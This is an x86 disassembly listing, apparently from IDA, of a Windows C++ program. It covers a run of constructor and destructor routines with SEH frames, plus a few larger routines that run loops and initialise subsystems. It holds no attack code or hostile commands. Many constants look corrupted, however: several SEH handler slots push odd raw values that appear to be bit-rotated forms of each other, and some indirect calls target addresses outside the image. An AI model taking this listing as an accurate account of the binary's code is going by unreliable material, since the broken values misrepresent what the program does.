		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_4019F1
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_4019F1
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_4019F1
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_4019F1
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_4019F1
		lea	ecx, [esi+574h]
		mov	byte ptr [esp+14h+var_4], 12h
		call	sub_4019F1
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_4019F1
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_4019F1
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_4019F1
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_4019F1
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_4019F1
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_4019F1
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_4019F1
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_4019F1
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_4019F1
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_4019F1
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_4019F1
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_4019F1
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_4019F1
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_4019F1
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_4019F1
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_4019F1
		mov	byte ptr [esp+14h+var_4], 1
		lea	ecx, [esi+9Bh]
		call	sub_4019F1
		lea	ecx, [esi+52h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_4019F1
		lea	ecx, [esi+9]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_4019F1
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_415B70	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416090	proc near		; CODE XREF: sub_40148Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	5FCFD7h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0A3h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_416090	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416130	proc near		; CODE XREF: sub_401D4Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	6FE7EBh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+118h]
		mov	[esp+14h+var_4], 5
		call	sub_401023
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_416130	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416200	proc near		; CODE XREF: sub_401208j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	37F3F5h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+468EEh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+468C0h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+46892h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+46864h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+46836h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+46808h]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_416200	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4162D0	proc near		; CODE XREF: sub_40207Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	5BF9FAh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4162D0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416390	proc near		; CODE XREF: sub_401DE3j
		add	ecx, 4
		jmp	sub_401023
sub_416390	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4163B0	proc near		; CODE XREF: sub_4010FAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4163B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+60h]
		mov	[esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4163B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416430	proc near		; CODE XREF: sub_401DA7j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	6DFCFDh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0BCh]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_416430	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164D0	proc near		; CODE XREF: sub_40150Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	76FE7Eh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401190
		lea	ecx, [esi+4]
		call	sub_4013CF
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_4016A9
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_4016A9
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_4016A9
		lea	ecx, [esi+0A3h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_4016A9
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_437050
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4164D0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416570	proc near		; CODE XREF: sub_4015C3j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	7B7F3Fh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401190
		lea	ecx, [esi+4]
		call	sub_4016A9
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_4016A9
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_4016A9
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_4016A9
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_4016A9
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_4016A9
		lea	ecx, [esi+118h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_4016A9
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_437054
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_416570	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416640	proc near		; CODE XREF: sub_4016D1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	7DBF9Fh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401190
		lea	ecx, [esi+46808h]
		call	sub_4016A9
		lea	ecx, [esi+46836h]
		mov	[esp+14h+var_4], 0
		call	sub_4016A9
		lea	ecx, [esi+46864h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_4016A9
		lea	ecx, [esi+46892h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_4016A9
		lea	ecx, [esi+468C0h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_4016A9
		lea	ecx, [esi+468EEh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_4016A9
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_437058
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_416640	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416710	proc near		; CODE XREF: sub_401767j
		push	esi
		mov	esi, ecx
		call	sub_401D2F
		mov	dword ptr [esi], offset	off_43705C
		mov	eax, esi
		pop	esi
		retn
sub_416710	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416740	proc near		; CODE XREF: sub_4013C0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	7EDFCFh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401190
		lea	ecx, [esi+4]
		call	sub_4016A9
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_4016A9
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_4016A9
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_4016A9
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_4016A9
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_4016A9
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_437068
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_416740	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416800	proc near		; CODE XREF: sub_401BEFj
		push	esi
		mov	esi, ecx
		call	sub_401190
		mov	dword ptr [esi], offset	off_43706C
		mov	eax, esi
		pop	esi
		retn
sub_416800	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416830	proc near		; CODE XREF: sub_401253j
		push	esi
		mov	esi, ecx
		call	sub_401190
		lea	ecx, [esi+4]
		call	sub_4016A9
		mov	dword ptr [esi], offset	off_437070
		mov	eax, esi
		pop	esi
		retn
sub_416830	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416860	proc near		; CODE XREF: sub_401B81j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_416860
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401190
		lea	ecx, [esi+4]
		call	sub_4016A9
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_4016A9
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_4016A9
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_437074
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_416860	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168E0	proc near		; CODE XREF: sub_40106Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	3F6FE7h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401190
		lea	ecx, [esi+4]
		call	sub_4016A9
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_4016A9
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_4016A9
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_4016A9
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_4016A9
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_437078
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4168E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416980	proc near		; CODE XREF: sub_40123Fj

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		mov	ebp, ds:dword_4B38CC
		push	esi
		mov	esi, ecx
		push	edi
		xor	bl, bl
		mov	byte ptr [esi+592A4h], 1


loc_416998:				; CODE XREF: sub_416980+E4j
		test	bl, bl
		jnz	loc_416A6E
		mov	al, [esi+487A2h]
		test	al, al
		jnz	short loc_4169AE
		mov	bl, 1
		jmp	short loc_4169C2
; ---------------------------------------------------------------------------


loc_4169AE:				; CODE XREF: sub_416980+28j
		lea	ecx, [esi+15Fh]
		call	sub_4017A3
		test	al, al
		setz	bl
		test	bl, bl
		jz	short loc_4169C9


loc_4169C2:				; CODE XREF: sub_416980+2Cj
		mov	byte ptr [esi+592A4h], 0


loc_4169C9:				; CODE XREF: sub_416980+40j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401F0F
		lea	edi, [esi+592FBh]
		lea	eax, [esp+1Ch+var_4]
		push	eax
		mov	ecx, edi
		call	sub_401E01
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_C], ecx
		push	edx
		mov	ecx, edi
		call	sub_4012D0
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_401663
		test	al, al
		jz	short loc_416A4E


loc_416A04:				; CODE XREF: sub_416980+CCj
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402077
		mov	ecx, [eax]
		call	sub_4016A4
		lea	ecx, [esp+1Ch+var_C]
		call	sub_402077
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_416A2B
		mov	edx, [eax]
		push	1
		mov	ecx, eax
		call	dword ptr [edx]


loc_416A2B:				; CODE XREF: sub_416980+A1j
		lea	ecx, [esp+1Ch+var_C]
		call	sub_401316
		lea	eax, [esp+1Ch+var_8]
		mov	ecx, edi
		push	eax
		call	sub_4012D0
		push	eax
		lea	ecx, [esp+20h+var_C]
		call	sub_401663
		test	al, al
		jnz	short loc_416A04


loc_416A4E:				; CODE XREF: sub_416980+82j
		mov	ecx, edi
		call	sub_4010A5
		push	5FB7F3h
		call	ebp
		mov	al, [esi+592A4h]
		test	al, al
		jnz	loc_416998
		test	bl, bl
		jz	short loc_416A7B


loc_416A6E:				; CODE XREF: sub_416980+1Aj
		pop	edi
		pop	esi
		pop	ebp
		mov	esi, 85FB7Fh
		pop	ebx
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_416A7B:				; CODE XREF: sub_416980+ECj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 0Ch
		retn
sub_416980	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416AE0	proc near		; CODE XREF: sub_4016C7j

var_1B4		= byte ptr -1B4h
var_19C		= byte ptr -19Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_416AE0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1A8h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	ebp, 8D2BF6h
		mov	byte ptr [esi+592A4h], 1
		call	sub_4010A5
		mov	eax, [esp+1C4h+arg_4]
		test	eax, eax
		jz	short loc_416B20
		push	eax
		jmp	short loc_416B25
; ---------------------------------------------------------------------------


loc_416B20:				; CODE XREF: sub_416AE0+3Bj
		push	offset byte_4695FB


loc_416B25:				; CODE XREF: sub_416AE0+3Ej
		lea	ecx, [esi+592CFh]
		call	sub_401564
		mov	edi, [esp+1C4h+arg_0]
		test	edi, edi
		jz	short loc_416B3E
		push	edi
		jmp	short loc_416B43
; ---------------------------------------------------------------------------


loc_416B3E:				; CODE XREF: sub_416AE0+59j
		push	634AFDh


loc_416B43:				; CODE XREF: sub_416AE0+5Cj
		lea	ecx, [esi+592E4h]
		call	sub_401564
		push	edi
		lea	ecx, [esi+3Eh]
		call	sub_401334
		mov	al, [esi+42h]
		test	al, al
		jz	short loc_416B6D
		mov	eax, [esi+43h]
		lea	ecx, [esi+152h]
		push	eax
		call	sub_4018A2


loc_416B6D:				; CODE XREF: sub_416AE0+7Cj
		lea	ecx, [esp+1C4h+var_19C]
		push	ecx
		push	71A57Eh
		call	dword ptr ds:78D2BFh
		call	sub_401460
		lea	ecx, [esi+1BBEh]
		call	sub_401730
		lea	ecx, [esi+1B46h]
		call	sub_40191A
		lea	edi, [esi+15Fh]
		mov	ecx, edi
		call	sub_401C0D
		mov	ebx, ds:dword_4B38CC
		push	3C695Fh
		call	ebx
		mov	ecx, edi
		call	sub_4011EF
		push	1E34AFh
		call	ebx
		mov	al, [esi+48h]
		test	al, al
		jnz	short loc_416BD1
		mov	al, [esi+7C7h]
		test	al, al
		jz	short loc_416BDC


loc_416BD1:				; CODE XREF: sub_416AE0+E5j
		lea	ecx, [esi+591A9h]
		call	sub_40137F


loc_416BDC:				; CODE XREF: sub_416AE0+EFj
		push	0F1A57h
		call	ebx
		lea	ebx, [esi+3F9h]
		lea	edi, [esi+1C58h]
		push	ebx
		mov	ecx, edi
		call	sub_401A64
		mov	ecx, edi
		call	sub_401172
		mov	al, [esi+77Eh]
		test	al, al
		jz	short loc_416C17
		lea	edx, [esi+71Ch]
		push	ebx
		push	edx
		mov	ecx, edi
		call	sub_40168B


loc_416C17:				; CODE XREF: sub_416AE0+126j
		mov	al, [esi+7C7h]
		test	al, al
		jz	short loc_416C3E
		lea	ebp, [esi+7F7h]
		mov	ecx, edi
		push	ebp
		call	sub_401E5B
		test	al, al
		jnz	short loc_416C3E
		push	ebx
		push	ebp
		mov	ecx, edi
		call	sub_401442
		jmp	short loc_416C4C
; ---------------------------------------------------------------------------


loc_416C3E:				; CODE XREF: sub_416AE0+13Fj
					; sub_416AE0+151j
		lea	ebp, [esi+7F7h]
		mov	ecx, edi
		push	ebp
		call	sub_40186B


loc_416C4C:				; CODE XREF: sub_416AE0+15Cj
		mov	al, [esi+7C7h]
		test	al, al
		jz	short loc_416C71
		mov	al, [esi+48h]
		test	al, al
		jnz	short loc_416C71
		push	ebp
		mov	ecx, edi
		call	sub_401E7E
		test	al, al
		jz	short loc_416C71
		push	0
		call	ds:dword_478D2B


loc_416C71:				; CODE XREF: sub_416AE0+174j
					; sub_416AE0+17Bj ...
		call	sub_401DB1
		lea	ecx, [esi+168h]
		call	sub_401726
		push	eax
		lea	eax, [esp+1C8h+var_1B4]
		push	eax
		call	sub_401EBF
		add	esp, 8
		push	eax
		lea	ecx, [esi+592A5h]
		mov	[esp+1C8h+var_4], 0
		call	sub_401EAB
		lea	ecx, [esp+1C4h+var_1B4]
		mov	[esp+1C4h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		lea	ebx, [esi+4878Bh]
		mov	ecx, ebx
		call	sub_40137F
		lea	ecx, [esi+48A75h]
		call	sub_40137F
		lea	ecx, [esi+1D29h]
		call	sub_401C58
		lea	ecx, [esi+1E6Fh]
		call	sub_401A00
		lea	ecx, [esi+48A9Eh]
		call	sub_40158C
		mov	ecx, ebx
		call	sub_401929
		lea	ecx, [esi+591BAh]
		call	sub_401E15
		mov	ecx, edi
		call	sub_401046
		lea	ecx, [esi+590E1h]
		call	sub_401A9B
		lea	ecx, [esi+590AFh]
		call	sub_401DC5
		lea	ecx, [esi+5916Fh]
		call	sub_40188E
		mov	ecx, esi
		call	sub_40123F
		mov	ecx, ebx
		mov	edi, eax
		call	sub_4016A4
		call	sub_401A2D
		call	dword ptr ds:23C695h
		mov	al, [esi+42h]
		test	al, al
		jz	short loc_416D5A
		lea	ecx, [esi+152h]
		call	sub_401BB8


loc_416D5A:				; CODE XREF: sub_416AE0+26Dj
		mov	ecx, [esp+1C4h+var_C]
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 1B4h
		retn	8
sub_416AE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 0B0h	dup(0CCh)
; ---------------------------------------------------------------------------

locret_416E30:				; CODE XREF: _294ADE7B:00402068j
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416E50:				; CODE XREF: _294ADE7B:00401D89j
		mov	eax, [esp+0Ch]
		push	0
		push	eax
		mov	ecx, 2D1E34h
		call	sub_4016C7
		retn	10h
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416E80	proc near		; CODE XREF: sub_401A1Ej

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_402027
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4015A5
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4013D9
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401F64
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_416E80	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416EF0	proc near		; CODE XREF: sub_401A19j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401348
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_416EF0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416F30	proc near		; CODE XREF: sub_402045j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4012D0
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401E01
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4014E7
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401EF1
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
sub_416F30	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416FA0	proc near		; CODE XREF: sub_401E01j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_40155F
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_401C5D
		mov	eax, esi
		pop	esi
		retn	4
sub_416FA0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416FE0	proc near		; CODE XREF: sub_4012D0j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_401C5D
		mov	eax, esi
		pop	esi
		retn	4
sub_416FE0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417010	proc near		; CODE XREF: sub_4010A5j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
